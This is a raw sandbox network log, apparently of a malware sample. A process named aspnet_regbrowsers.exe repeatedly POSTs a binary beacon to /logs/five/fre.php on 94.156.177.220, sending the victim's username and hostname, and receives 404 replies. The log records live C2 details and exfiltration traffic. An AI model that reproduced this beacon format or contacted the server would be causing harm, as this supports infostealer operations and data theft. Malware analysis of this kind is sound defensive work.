Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49186	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:40.308180094 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:40.313649893 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:41.263916016 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49187	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:41.566721916 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:41.572655916 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:42.528846025 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49188	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:42.664341927 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:42.669867039 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:43.673293114 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49189	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:43.853213072 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:43.859216928 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:44.839399099 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49190	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:45.246186018 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:45.251828909 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:46.223337889 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49191	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:46.359719038 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:46.366646051 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:47.537081003 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49192	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:48.190238953 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:48.195617914 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:49.209000111 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49193	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:49.692683935 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:49.699028015 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:50.669743061 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49194	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:50.820036888 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:50.827790022 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:51.785788059 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49195	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:52.230597019 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:52.236705065 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:53.227410078 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49196	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:53.762804985 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:53.769907951 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:54.716540098 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49197	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:55.399470091 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:55.891681910 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:56.856168985 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49198	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:57.011841059 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:57.017577887 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:57.981232882 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49199	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:58.142656088 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:58.148221970 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:59.097392082 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49200	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:59.230958939 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:59.236458063 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:00.216978073 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49201	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:00.459362030 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:00.465092897 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:01.693480015 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49202	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:01.934070110 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:01.939380884 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:02.893282890 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49203	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:03.138145924 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:03.143554926 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:04.115466118 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49204	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:05.036482096 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:05.042808056 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:06.018805981 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49205	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:06.186625957 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:06.193353891 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:07.177803040 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49206	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
